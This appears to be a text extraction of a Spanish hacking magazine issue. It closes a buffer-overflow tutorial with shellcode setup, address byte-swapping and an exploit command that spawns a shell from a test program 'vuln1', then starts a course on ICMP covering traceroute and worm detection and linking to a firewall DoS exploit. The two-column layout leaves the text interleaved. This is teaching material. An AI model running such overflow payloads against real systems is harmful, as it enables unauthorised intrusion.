hacen gran cosa, solo definir una variable y escribir un
mensaje en la consola (Eggshell cargado)                                  2.- Dividimos el grupo de 4 bytes en 2 grupos de 2 bytes
                                                                          cada uno (2bytes hacen un word)
La tercera línea memset(shell,NOP,512) lo que hace es
rellenar toda la cadena shell con instrucciones NOP.                             bf       ff              f8       c5
                                                                               Byte1    Byte2            Byte3   Byte4
La línea que le sigue memcpy(&shell[512-                                  (Primer Grupo de 2 Bytes) (Segundo Grupo de 2 bytes)
strlen(shellcode)],shellcode,strlen(shellcode)) es la
que lleva un poco de complicación; pero en realidad, es                   3.- En cada grupo intercambiamos el byte alto con el byte
bastante sencillo su cometido. Se trata de copiar un grupo                bajo, el resultado será:
de direcciones de memoria en una ubicación específica, es
                                                                                  ff     bf                     c5       f8
este caso estamos escribiendo el valor de la variable
                                                                               Byte2 Byte1                    Byte4     Byte3
shellcode, al final de shell.
                                                                          (Primer Grupo de 2 Bytes)        (Segundo Grupo de 2 Bytes)


 PC PASO A PASO Nº 23                                                                                                     Página 11
Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow




4. Finalmente intercambiamos los dos grupos:                              Un shell para nosotros solos, completito y con todos los
     C5        f8                            ff      bf                   permisos del programa vuln1, para comprobarlo ejecutemos
   Byte4     Byte3                         Byte2 Byte1                    el comando id, obtendremos:
(Segunto Grupo de 2 Bytes)            (Primer Grupo de 2 Bytes)
                                                                          uid=1000(kublai) gid=100(users) groups=100(users),10(wheel),18(audio)
                                                                          sh-2.05b$
Por lo tanto, finalmente obtenemos             0xc5f8ffbf

                                                                          Si es la primera vez que estudias código de exploits de
Las razones para este procedimiento, un tanto extraño
                                                                          buffer overflow, debo decirte que aún hay más por entender,
que hemos tenido que realizar, son más históricas que
                                                                          como por ejemplo la forma en la que se puede encontrar
técnicas, se debe a la forma en que Intel maneja la
                                                                          el segmento ShellCode usando en GBD o la lógica detrás
información de los registros.
                                                                          del código del ShellCode. Por ahora es todo, en un próximo
                                                                          a r t i c u l o ve r e m o s e s t o y a l g u n a s c o s a s m á s .
Finalmente con todo listo ejecutamos el ataque:

                                                                          Referencias:
bash-2.05b$ ./vuln1 `perl -e'print "A"x524'``printf "xc5xf8xffxbf"`

                                                                          El presente artículo esta basado principalmente en la
El resultado será el siguiente:
                                                                          información de:
Tu nombre es:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                              http://www.rosiello.org
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                              h t t p : / / w w w. m a t h s . l e e d s . a c . u k / ~ r e a d / b o f s . h t m l
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                              http://www.astalavista.com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                              Autor                         Kublai Gómez Soto
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                                            Evos Design S.L.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                                                        Ingeniero Electrónico
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                                                        Consultor En I.T.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                                                        Miembro de Astalavista Security Group.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÅøÿ¿
DL Security
sh-2.05b$
                                                                                                                        TABLA ASCII




 Página 12                                                                                                                   PC PASO A PASO Nº 23
¿QUIERES COLABORAR CON PC PASO A PASO?
PC PASO A PASO busca personas que posean conocimientos de
informática y deseen publicar sus trabajos.
SABEMOS que muchas personas (quizás tu eres una de ellas) han creado
textos y cursos para “consumo propio” o “de unos pocos”.


SABEMOS que muchas personas tienen inquietudes periodísticas pero
nunca se han atrevido a presentar sus trabajos a una editorial.
SABEMOS que hay verdaderas “obras de arte” creadas por personas
como tu o yo y que nunca verán la luz.
PC PASO A PASO desea contactar contigo!

NOSOTROS PODEMOS PUBLICAR TU OBRA!!!
SI DESEAS MÁS INFORMACIÓN, envíanos un mail a
empleo@editotrans.com y te responderemos concretando nuestra oferta.
CURSO DE TCP/IP: ICMP
            (Protocolo de Mensajes de
               Control de Internet).
                       - ICMP es, posiblemente, el protocola más utilizado por los hackers
              - ICPM nos dará información MUY VALIOSA sobre el funcionamiento de las conexiones.
            - Veremos que este protocolo nos permite detectar gusanos y ataques, tracear conexiones,
             destruir firewalls, degradar servicios, descubrir datos sobre nuestras "victimas"... ...


            1.      Introducción                            Por tanto, ICMP es un protocolo de Control
                                                            (Internet Control Message Protocol), que
            Imagino que muchos de los lectores que          sirve para avisar de los errores en el
            han seguido fielmente el curso de TCP/IP        procesamiento de los datagramas, es
            desde sus comienzos estaríais esperando         decir, de los paquetes IP.
            que este mes hablase del protocolo IP,          Como ICMP funciona sobre IP, los
            ya que una vez explicados los protocolos        paquetes ICMP serán siempre a su vez
            de transporte clásicos (TCP y UDP) el           paquetes IP. Esto podría dar lugar a
            orden lógico sería llegar a la capa inferior,   situaciones en las que se generasen bucles
            o la capa de red.                               infinitos donde un paquete ICMP avisa de
                                                            errores de otro paquete ICMP. Para evitar
            Pero, para vuestra sorpresa, aún no             esto, hay una regla de oro, y es que,
            vamos a llegar a esa parte tan esperada,        aunque los paquetes ICMP sirvan para
            pero también tan compleja; si no que            arreglar errores de otros paquetes, jamás
            vamos a seguir con el orden lógico, con         se enviarán paquetes ICMP para avisar
            un protocolo que, aunque no sea un              de errores en otro paquete ICMP.
            protocolo de transporte, si que funciona
            por encima del protocolo IP.                    Aunque esto suene a trabalenguas, ya
                                                            iremos viendo en detalle el funcionamiento
            La diferencia entre ICMP y otros                del protocolo ICMP, y se aclararán muchas
            protocolos que funcionen por encima de          cosas.
            IP (como TCP, UDP, u otros que no hemos
                                                            Muchos de vosotros conoceréis ya algo
            mencionado) es que ICMP se considera
                                                            sobre ICMP, pero quizá alguno se esté
            casi una parte de IP, y las especificaciones
                                                            preguntando: “¿Pero realmente es tan
            estándar de IP obligan a que cualquier
                                                            importante este protocolo? ¡Si jamás he
            sistema que implemente el protocolo IP
                                                            oído hablar de él! ¡Seguro que no se usa
            tenga también soporte para ICMP.
                                                            para nada!”.

            ¿Y por qué es tan importante ICMP para          Pues por supuesto que se usa, y mucho,
            IP? Pues porque IP no es un protocolo           aunque es normal que no os suene,
            100% fiable (como nada en esta vida),           teniendo en cuenta que es un protocolo
            e ICMP es precisamente el que se encarga        que no suele usar la gente en su casita,
            de manejar los errores ocasionales que          si no que es usado sobre todo por los
            se puedan dar en IP.                            routers.

Página 14                                                                                  PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            Aún así, aunque los paquetes ICMP sean
            generados normalmente por un router,                  Aquí podrás encontrar la traducción al español del RFC
            el receptor del paquete suele ser un                  792 (Protocolo ICMP), concretamente en el enlace
            usuario como tú, así que en realidad sí               h t t p : / / w w w. r f c - e s . o r g / g e t f i l e . p h p ? r f c = 0 7 9 2
            que estás usando el protocolo ICMP
            aunque no te des cuenta.                              No dudes en pasarte por www.rfc-es.org y, si te es posible,
                                                                  participar en su proyecto. Desde esta revista damos las
            Por ejemplo, cuando intentas acceder a                gracias a quienes colaboran de forma totalmente
            una IP que no existe, normalmente se te               desinteresada en este tipo de iniciativas que nos benefician
            notificará por medio de un mensaje ICMP.              a todos.
            Además, hay también una serie de
            aplicaciones, como Ping, o Traceroute,             El protocolo ICMP consta simplemente de
            que utilizan ICMP, y en este caso sí que           una serie de mensajes totalmente
            eres tú el que genera los paquetes.                independientes que se generan para cada
                                                               situación de error que se de en el
            Aparte de todo esto, para nosotros ICMP            procesamiento de un paquete IP, o bien
            es especialmente interesante ya que, tal           por otras circunstancias especiales en las
            y como podéis leer en más de un                    que un usuario desea conocer cierta
            documento de los que circulan en la red            información sobre una máquina.
            sobre ICMP, se dice de este protocolo que
            es mucho más útil para un hacker que               Por eso, no hay que andar con complejas
            para un usuario normal.                            explicaciones sobre conexiones virtuales,
                                                               ni nada de nada. Simplemente basta con
            Para este artículo iré explicando uno a
                                                               ir explicando cada mensaje por separado.
            uno los diferentes mensajes ICMP, y
            contando en cada uno alguna curiosidad
            un poco más oscura para darle más gracia
                                                               2.1. Destino inalcanzable
            a la cosa (buscad los epígrafes en color
            rojo). Por último, como era de esperar,            (Destination Unreachable)
            terminaré explicando cómo generar
                                                               Este es el primer mensaje ICMP, que sirve
            paquetes ICMP desde cero con las
                                                               para avisar de un gran número de
            aplicaciones ya conocidas.
                                                               situaciones de error, aunque todas con
                                                               una misma consecuencia: no se ha podido
            2.       Directamente al grano                     acceder al destino que se solicitaba.

            Igual que hacen en el RFC que explica el
                                                               Cuando intentas acceder a una IP (una
            protocolo ICMP (RFC 792 : ftp://ftp.rfc-
                                                               página Web, u otro servidor de cualquier
            editor.org/in-notes/rfc792.txt), no nos
                                                               tipo), puede haber muchos motivos por
            enrollaremos mucho con explicaciones
                                                               los que no puedas llegar a acceder y,
            previas, e iremos directamente al grano.
                                                               siempre que estos motivos tengan que
                                                               ver directamente con la parte de la que
  !              Como ya debes...
                                                               se encarga el protocolo de red (IP),
                                                               cualquier dificultad que haya te será
  Como ya debes suponer, los RFCs son documentos escritos
                                                               notificada mediante un mensaje ICMP de
  originalmente en inglés. Para quien no domine el idioma,
                                                               este tipo.
  contamos con la inestimable ayuda de la Web www.rfc-es.org


PC PASO A PASO Nº 23                                                                                                                 Página 15
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            Por supuesto, puede haber otros motivos
            por los que no puedas acceder a los
            contenidos que buscas. Por ejemplo, al
            intentar acceder a una página Web, el
            Servidor Web podría responderte con un
            error 404 (te recuerdo que expliqué
            todo esto en mi artículo sobre HTTP en
            la serie RAW, hace ya unos cuantos
            números...).

            Esta situación de error no es
            responsabilidad de IP y, por tanto,
            tampoco de ICMP, por lo que este error
                                                        Por supuesto, me imagino que no
            no se notificaría mediante un mensaje
                                                        entendéis ni papa de los contenidos de
            ICMP, si no que sería responsabilidad del
                                                        esta tabla.
            Servidor Web el generar una respuesta
            de error 404 de HTTP.                       Explicar todos los códigos en detalle va a
                                                        ser demasiado (y, realmente, poco
            Un error que sí que sería responsabilidad
                                                        interesante), así que explicaré sólo lo
            de IP al intentar acceder a una página
                                                        suficiente para que os hagáis una idea de
            Web sería que la IP del Servidor Web que
                                                        lo más importante.
            buscamos no existiese.
                                                        En primer lugar, no hay que ser muy
            Hay muchos otros motivos por los que
                                                        observador para darse cuenta de que la
            un destino puede ser inalcanzable, como
                                                        mayoría de los errores están duplicados,
            veremos en detalle ahora mismo. De
                                                        refiriéndose siempre o bien a la red, o
            momento, vamos a ver el formato
                                                        bien al host.
            detallado del mensaje:
                                                        Imaginemos que estamos en una red
                                                        local, cuyas direcciones IP abarcan desde
                                                        la 192.168.1.1 hasta la 192.168.1.255,
                                                        pero en la cual sólo existen tres máquinas:
                                                        Máquina 1       192.168.1.1
                                                        Máquina 2       192.168.1.5
            Campo: Type                                 Y máquina 3 192.168.1.100
            El primer campo, Type, se encuentra en
                                                        Si intentamos acceder a la máquina
            todos los mensajes ICMP, y especifica el
                                                        192.168.1.200 recibiremos un mensaje
            tipo de mensaje. En el caso del mensaje
                                                        de Host inalcanzable (código 1). La IP
            Destination Unreachable el tipo de
                                                        192.168.1.200 forma parte de una red a
            mensaje es 3.
                                                        la que tenemos acceso, pero en cambio
            Campo: Code                                 ese host concreto no existe en la red.
            El campo Code permite precisar el motivo
            por el que el destino es inalcanzable.      En cambio, si intentamos acceder en el
            Según el valor de este campo, podemos       mismo escenario a la IP 10.12.200.1,
            saber el motivo exacto, consultando la      estaremos intentando acceder a una red
            siguiente tabla:                            que no es la nuestra, por lo que el router

Página 16                                                                               PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          no podrá darnos acceso, y tendrá que         cuando se intenta acceder a un protocolo
          respondernos con un error de Red             de transporte que no está implementado
          inalcanzable (código 0).                     en el host de destino.

          Con esta breve explicación de paso he        Por ejemplo, si enviamos un paquete UDP
          explicado los dos primeros códigos. Sólo     a una máquina que no tiene implementado
          queda comentar que el código 1 sólo lo       UDP. Como la capa IP es la encargada de
          enviará el último router dentro del camino   reconocer al protocolo de nivel superior,
          que lleve desde nuestra máquina hasta        será responsabilidad suya, y por tanto de
          el host de destino, ya que éste último       ICMP, el notificar de los errores de
          router será el que sepa qué máquinas         protocolos no implementados.
          en concreto existen dentro de su red. En
                                                       El mensaje de Puerto inalcanzable
          cambio, el código 0 puede ser enviado
                                                       (código 3) se genera cuando se intenta
          por cualquiera de los routers que haya
                                                       acceder a un puerto en un protocolo de
          en el camino entre tu máquina y el host
                                                       transporte (por ejemplo, TCP o UDP), y
          de destino, ya que en cualquier punto
                                                       ese puerto no está accesible en el host
          del camino se podría detectar que la red
                                                       de destino. En muchos casos, el propio
          de destino es inalcanzable.
                                                       protocolo de transporte se encargará de
                                                       notificar este error (por ejemplo, en TCP
                                                       mediante el flag RST), pero siempre que
                                                       el protocolo de transporte no tenga
                                                       implementado un mecanismo para
                                                       notificar esta situación, será
                                                       responsabilidad de ICMP hacerlo.

                                                       El mensaje de Paquete demasiado
                                                       grande, y no puede ser fragmentado
                                                       (código 4) tiene relación con un campo
                                                       de la cabecera IP que veremos más
                                                       adelante en el curso de TCP/IP. Este campo
                                                       especifica si un paquete puede ser o no
          En la imagen la máquina H1 solicita          fragmentado en trozos más pequeños.
          acceder a la IP 10.1.2.3 al router R1.       En el caso de que esté especificado que
          Éste pasa la bola a R2, el cual está         el paquete no puede ser fragmentado, y
          conectado a la red 10.x.x.x, donde           el paquete sea demasiado grande como
          debería encontrarse la IP solicitada. Como   para ser enviado de una sola vez, el
          R2 sabe que el host 10.1.2.3 no existe,      paquete no podrá ser transmitido.
          responderá con un mensaje ICMP Host
          inalcanzable. El mensaje ICMP llegará a      De momento con esto creo que tenemos
          R1, que lo retransmitirá hasta H1.           suficiente, que no quiero llenar el artículo
                                                       entero sólo con el primero de los mensajes
          Con respecto al siguiente código,            ICMP y, al fin y al cabo, ya he explicado
          Protocolo inalcanzable (código 2),           los códigos más comunes.
          en primer lugar hay que decir que no se
                                                       Campo: Checksum
          genera en un router, si no en el propio
          host de destino. Este error se genera
                                                       Pues aquí nos encontramos de nuevo con

PC PASO A PASO Nº 23                                                                                  Página 17
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            otro checksum, como los que ya vimos       asegurarnos de que se trata de nuestro
            en anteriores entregas cuando tratamos     paquete, se incluyen también los 64
            el UDP y TCP. En el artículo anterior      primeros bits del campo de DATOS del
            detallé cómo generar un checksum para      datagrama, por lo que el paquete puede
            TCP, y también como realizar su            quedar identificado sin lugar a dudas.
            comprobación para un paquete recibido.
                                                       Por ejemplo, imaginemos que enviamos
            En el caso de ICMP, los checksums (sumas   el siguiente paquete:
            de comprobación) se generan mediante
            la misma operación, pero en este caso
            no es necesario añadir una
            pseudocabecera, si no que directamente
            la operación se realiza únicamente con
            todos los bits que componen la cabecera
            ICMP.
                                                       En el caso de que este paquete genere,
            Campo: Unused                              por ejemplo, un error de Destino
                                                       inalcanzable, éste será el paquete ICMP
            Pues eso, ¿qué queréis que os cuente       que nos llegará en respuesta:
            sobre un campo que no se usa?
            Simplemente lo rellenáis con ceros, y ya
            está.

            Campo: Internet Header + 64 bits of
            original data datagram

            Aquí ya hay bastante más que decir, ya
            que además este campo es común a
            muchos mensajes ICMP. Este campo es
            especialmente importante, ya que es el
            que nos permite identificar de forma
            unívoca a qué datagrama (paquete IP)
            se refiere el mensaje ICMP.                Dentro de la cabecera ICMP podemos ver
                                                       en verde la copia de la cabecera IP del
            Como ya he dicho, un paquete ICMP          paquete que generó el mensaje, así como
            puede ser una respuesta a un paquete       los primeros datos del campo de DATOS
            IP que ha generado algún tipo de error.    (en azul). También es importante destacar
            Si nos llegasen paquetes ICMP sin más      que, como se ve en la imagen, el número
            no podríamos saber cuál de nuestros        de protocolo asignado a ICMP es el 1.
            paquetes IP generó el error.
                                                       Detectando gusanos mediante
            Por eso, muchos paquetes ICMP llevan       Destination Unreachable
            incluidos en su propia cabecera la
            cabecera IP del paquete que generó el      Como os dije, comentaré algún detalle
            error. Además, para terminar de            curioso sobre cada uno de los mensajes
                                                       ICMP. Os voy a comentar una posible

Página 18                                                                             PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          señal de alarma en relación con los          ser ejecutados para infectar una máquina
          mensajes Destination Unreachable.            (por ejemplo mediante un correo
                                                       electrónico), si no que basta con que den
          Si observamos los logs de nuestra
                                                       con una máquina vulnerable (es decir,
          conexión... ¿que qué es eso? Pues en un
                                                       que tenga cierta versión de Windows sin
          sistema que tenga implementada una
                                                       parchear).
          buena política de seguridad es habitual
          tener un mecanismo de monitorización
                                                       Por supuesto, si el gusano genera
          que guarde un registro (un log) de lo que
                                                       direcciones IP que no existen, recibiremos
          ocurre con las conexiones de nuestra
                                                       un mensaje Destination Unreachable
          máquina.
                                                       cada vez que el gusano intente infectar
          En caso de que no tengáis nada de esto       una de estas IPs. Por tanto, encontrar
          montado (sería motivo para varios            varios mensajes ICMP de este tipo cuyo
          artículos el explicar cómo hacerlo bien      origen desconocemos puede ser un
          hecho), podéis hacer pruebas                 síntoma de que tenemos un visitante no
          simplemente poniendo en marcha un            deseado en nuestro PC.
          sniffer, como los que he explicado ya
          en otros artículos (por ejemplo, Iris para   No sólo eso, si no que además analizando
          Windows, o Ethereal o Snort para Linux).     en detalle la cabecera ICMP podremos
                                                       seguramente extraer información acerca
          Pues como decía, si observamos lo que
                                                       del gusano, ya que estos mensajes ICMP,
          ocurre en nuestra conexión con Internet,
                                                       tal y como acabamos de ver, incluyen en
          y detectamos que nos llegan una gran
                                                       su cabecera toda la cabecera IP del
          cantidad de mensajes ICMP de tipo
                                                       mensaje que generó el error, así como
          Destination Unreachable, podría ser
                                                       los primeros 64 bits de datos.
          síntoma de que estamos infectados con
          algún gusano (Worm).
                                                       Este sistema no es definitivo, por
          Un gusano es un tipo de virus informático    supuesto, ya que no todos los gusanos
          cuya principal función consiste en           utilizan este sistema para buscar víctimas,
          reproducirse a toda costa al mayor           así que el hecho de no recibir mensajes
          número de víctimas posible. La gran          Destination Unreachable no significa
          mayoría de los virus que existen hoy día     ni mucho menos que no podamos estar
          pueden ser calificados como gusanos,         contaminados con algún otro tipo de
          siendo buenos ejemplos los conocidos         gusano más “inteligente”.
          virus Sasser, MyDoom, etc.
                                                       Podría comentar muchos otros aspectos
          Algunos de estos gusanos intentarán          oscuros de este tipo de mensajes ICMP,
          reproducirse por un sistema tan burdo        como los ataques Smack, Bloop,
          como es el generar direcciones IP            WinNewK, etc. Pero como el espacio es
          aleatorias, e intentar acceder a todas       limitado, y además tengo que despertar
          ellas para tratar de infectar una nueva      un poco en vosotros la capacidad y el
          máquina.                                     ánimo de investigar por vuestra cuenta,
                                                       ahí os he dejado los nombres, para que
          Esto es especialmente útil en gusanos        vuestro amigo Google os dé más detalles.
          como el Sasser (y, de hecho, el Sasser
          utiliza este sistema), que no necesitan

PC PASO A PASO Nº 23                                                                                 Página 19
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            Path MTU Discovery (P-MTU-D)                  tamaño de MTU utilizar ya que, no sólo
                                                          cada una de las dos máquinas tendrá una
            Una aplicación importante de los mensajes     MTU diferente, si no que también podrían
            Destination Unreachable, es el proceso        tener MTUs diferentes cada uno de los
            de Path MTU Discovery.                        routers que se encuentran en el camino
            Ya sabemos que entre dos máquinas que         entre las dos máquinas.
            se comunican suele haber varias
                                                          Cuando un router se encuentra con un
            máquinas intermedias, que actúan como
                                                          paquete cuyo tamaño es mayor que el de
            routers para encaminar los paquetes
                                                          su MTU, tendrá que fragmentarlo en
            entre ambas máquinas.
                                                          trozos más pequeños que sí que quepan
            El problema es que cada máquina de            en su MTU.
            todas las involucradas en el proceso
            (incluyendo las máquinas de origen y          El problema con esto es que la
            destino) puede tener una configuración        fragmentación es muy poco deseable, por
            y unas características diferentes. Esto da    motivos que explicaré a lo largo del curso,
            lugar a que haya máquinas preparadas          por lo que conviene evitarla. Para poder
            para manejar paquetes más o menos             evitar la fragmentación, una buena idea
            grandes.                                      consiste en conseguir un acuerdo sobre
                                                          el tamaño máximo de los paquetes entre
            El tamaño máximo de paquete que puede
                                                          todas las máquinas involucradas en la
            manejar una máquina se denomina MTU
                                                          conexión.
            (Max Transmission Unit), y depende de
            la tecnología utilizada, tal y como veremos
                                                          El mecanismo para conseguir este acuerdo
            cuando hablemos sobre el nivel de enlace
                                                          se denomina Path MTU Discovery, y
            a lo largo del curso.
                                                          viene detallado en el RFC 1191.
            Por ejemplo, una tecnología Ethernet
            utiliza una MTU de 1500 Bytes, mientras       A grandes rasgos, lo que se hace es enviar
            que en X.25 se utiliza una MTU de sólo        un paquete demasiado grande, pero
            576 Bytes. Pero bueno, ya explicaremos        forzando a que no sea fragmentado
            esto en otro número...                        (mediante una opción que se puede
                                                          especificar en la cabecera IP). Si alguna
            De momento, tenemos que tener la idea         máquina del camino del paquete no puede
            intuitiva de lo que es la MTU que, por        manejar un paquete tan grande, al no
            cierto, está bastante relacionada con el      poder tampoco fragmentarlo no le quedará
            MSS, es decir, el tamaño máximo de            más remedio que responder con un ICMP
            segmento que vimos en TCP. El tamaño          Destination Unreachable Code 4. A
            máximo de segmento indica el tamaño           partir de ahí, se irá repitiendo el proceso
            máximo del campo de datos de un               con diferentes tamaños de paquete, hasta
            paquete TCP, el cual estará directamente      que se de con un tamaño que sí que sea
            relacionado con el tamaño de MTU de la        aceptado por todas las máquinas.
            máquina que envió el paquete TCP.
                                                          Este tamaño máximo para todo el camino
            Si queremos que funcione correctamente
                                                          que se ha encontrado se denomina
            una comunicación entre dos máquinas
                                                          precisamente Path MTU.
            tendrá que haber un acuerdo sobre qué


Página 20                                                                                 PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          2.2. Tiempo excedido (Time                  determinado, y este valor se irá
          Exceeded)                                   decrementando en cada router por el que
                                                      pase el paquete.
          Como podemos ver, la cabecera de este
          mensaje consta de los mismos campos         Así, si por ejemplo un paquete tiene un
          que el mensaje anterior:                    TTL = 3, el primer router que reciba el
                                                      paquete modificará este valor haciendo
                                                      TTL=2, y reenviará el paquete al próximo
                                                      router del camino entre el origen y el
                                                      destino.

                                                      En caso de que un paquete con TTL=0
          Para explicar la utilidad de este mensaje   llegue a un router, significará que el
          vamos a ver mejor los campos que lo         paquete no ha podido llegar a su destino
          forman.                                     en un plazo limitado, por lo que el router
                                                      tendrá que responder al transmisor del
          Campo: Type                                 mensaje con un ICMP de tipo Time
                                                      Exceeded, y Code 0.
          Para este tipo de mensajes, su valor ha
                                                      Code 1: Tiempo de reensamblaje
          de ser 11, en decimal, por supuesto.
                                                      superado.
          Campo: Code
                                                      Otra situación en la que un paquete puede
                                                      “caducar” tiene relación con la
          En este caso sólo existen dos posibles
                                                      fragmentación que ya mencioné antes.
          valores, ya que este mensaje puede ser
          enviado por dos motivos diferentes:
                                                      Como dije, un paquete demasiado grande
          Code 0: Tiempo de vida superado.
                                                      puede ser dividido en fragmentos para
                                                      facilitar su transmisión. Los fragmentos
          Como veremos a lo largo del curso, en
                                                      irán llegando al destino en cualquier orden,
          la cabecera IP existe un campo TTL
                                                      y éste se encargará de reensamblar el
          (Time To Live) que permite limitar el
                                                      paquete. Por supuesto, hay un límite de
          número de routers que atravesará un
                                                      tiempo por el que estará esperando el
          paquete para llegar a su destino.
                                                      destino a que le lleguen todos los
                                                      fragmentos, para evitar quedarse
          Si no limitásemos este número de saltos,
                                                      esperando indefinidamente en caso de
          se podría dar el caso de que un paquete
                                                      que haya habido algún problema de
          quedase circulando para siempre en la
                                                      transmisión.
          red en caso de que algún router mal
          configurado produjese un bucle cerrado
                                                      Si un paquete que está en proceso de
          en el que los paquetes van de un router
                                                      reensamblaje no se completa en un tiempo
          a otro sin sentido, sin llegar jamás a su
                                                      determinado, se enviará un mensaje ICMP
          destino.
                                                      de tipo Time Exceeded, y Code 1,
                                                      indicando que no se ha podido completar
          Cada paquete IP llevará, por tanto, un
                                                      el reensamblaje del paquete.
          campo TTL con un valor numérico


PC PASO A PASO Nº 23                                                                                 Página 21
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            Trazado de rutas mediante Time              reenviándolo, por lo que el paquete llegará
            Exceeded                                    al próximo router, R2. En cambio, en este
                                                        segundo router ocurrirá lo mismo que
            Posiblemente habréis utilizado alguna       antes, pues se encontrará con un paquete
            vez la conocida herramienta traceroute.     con TTL=0 que no podrá reenviar, por lo
                                                        que tendrá que responder con un ICMP
            Como sabréis, esta herramienta permite      Time Exceeded Code 0.
            conocer todos los routers que existen en
            el camino entre un origen y un destino.

            Esta herramienta funciona precisamente
            gracias a los mensajes ICMP de tipo
            Time Exceeded, concretamente a los
            de Code 0.                                  Este proceso continuará, incrementando
                                                        en uno cada vez el valor de TTL, hasta
            Lo que hace traceroute es empezar           que finalmente sea el host de destino
            enviando un paquete cualquiera al destino   el que nos responda:
            que queremos trazar, pero utilizando en
            el paquete un TTL=1. En cuanto este
            paquete llegue al primer router que haya
            en el camino entre tu máquina y la
            máquina de destino, este router
            decrementará el TTL, por lo que lo dejará
                                                        Como vemos en la imagen, el host de
            en TTL=0. Al no poder reenviarlo, ya
                                                        destino no nos responderá con un Time
            que el tiempo de vida del paquete ha
                                                        Exceeded, ya que el paquete sí que ha
            expirado, tendrá que enviar un ICMP
                                                        podido llegar hasta él antes de expirar.
            Time Exceeded Code 0 en respuesta.
                                                        En lugar de eso, nos responderá con otro
                                                        mensaje ICMP, de tipo Echo Reply, que
                                                        veremos más adelante. Esto se debe a
                                                        que los paquetes que va enviando
                                                        traceroute son en realidad mensajes
                                                        ICMP de tipo Echo Request. Como ya
                                                        he dicho, más adelante comprenderemos
            Este paquete contendrá como IP de
                                                        de lo que estoy hablando.
            origen la del router que lo generó (R1),
            por lo que conocemos así ya la IP del
                                                        2.3. Problema de parámetros
            primer router que nos hemos encontrado
                                                        (Parameter Problem).
            en el camino.

                                                        Este mensaje se envía cuando algún
            A continuación, traceroute enviará otro
                                                        parámetro de la cabecera IP tiene un
            paquete similar, pero con un TTL=2. El
                                                        valor incorrecto, siempre y cuando no sea
            primer router del camino, R1 (cuya IP
                                                        un campo que tenga ya otro mensaje
            ya conocemos), decrementará el TTL,
                                                        ICMP específico para notificar el error.
            pero al ser ahora el TTL=1, podrá seguir

Página 22                                                                               PC PASO A PASO Nº 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




          Este es el formato del mensaje:              Destruyendo firewalls

                                                       Como comentario sobre este tipo de
                                                       mensaje ICMP comentaré un exploit para
                                                       una aplicación en concreto, que siempre
                                                       puede ser interesante.


          Campo: Type                                  La aplicación no es ni más ni menos que
                                                       Gauntlet Firewall, un firewall de
          El valor en este caso es 12.                 Network Associates, la compañía del
                                                       famoso (y bastante triste) antivirus
          Campo: Code
                                                       McAffee que, por cierto, hace poco
          Aunque el RFC sólo especifica un posible     apareció la noticia de que es posible que
          valor para este campo, en realidad pueden    Microsoft compre también esta compañía.
          ser implementados otros valores (como
          ya ha pasado con otros campos vistos
                                                       El exploit que, por cierto, también afecta
          anteriormente).
                                                       a otro producto de la misma compañía,
          Estos son los posibles valores:              WebShield, aprovecha una vulnerabilidad
                                                       de estos programas que da lugar a una
                                                       denegación de servicio (DoS) con sólo
                                                       enviar un mensaje ICMP Parameter
                                                       Problem malformado.
          El valor más habitual es el Code 0.
                                                       El exploit, y su explicación en
          En este caso, el campo Pointer indicará      castellano los tenéis en:
          la posición de la cabecera IP en la que      http://www.hakim.ws/ezines/RazaMexi
          se encuentra el error. Conociendo la         cana/raza011/0x02.txt
          cabecera IP, podemos localizar el
          parámetro exacto cuyo valor es incorrecto.

          El Code 1 es usado cuando una                2.4. Calmar al transmisor
          trasmisión requiere opciones IP              (Source Quench)
          adicionales, como las usadas por el
          ejército de los EEUU al utilizar             Este mensaje es útil para implementar
          transmisiones seguras, en las que son        un control de flujo rudimentario. Ya he
          requeridas ciertas opciones de seguridad     explicado algo sobre el control de flujo a
          en los datagramas.                           lo largo del curso.

          Sobre el Code 2 no hay mucho que decir,      Como su nombre indica, este mensaje
          ya que se explica por sí sólo.               permite calmar al transmisor cuando está
          Campo: Pointer                               enviando demasiados paquetes, y estos
                                                       no pueden ser procesados debido a la
          Si el campo Code tiene valor 0, este         excesiva velocidad.
          campo especifica la posición en bytes
          dentro de la cabecera IP donde se            Cuando un paquete no pueda ser
          encuentra el parámetro erróneo.              procesado adecuadamente debido a la

PC PASO A PASO Nº 23                                                                                Página 23
Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP




            saturación del buffer de recepción, habrá    avisando así de que no da a basto.
            que notificar esta situación mediante un
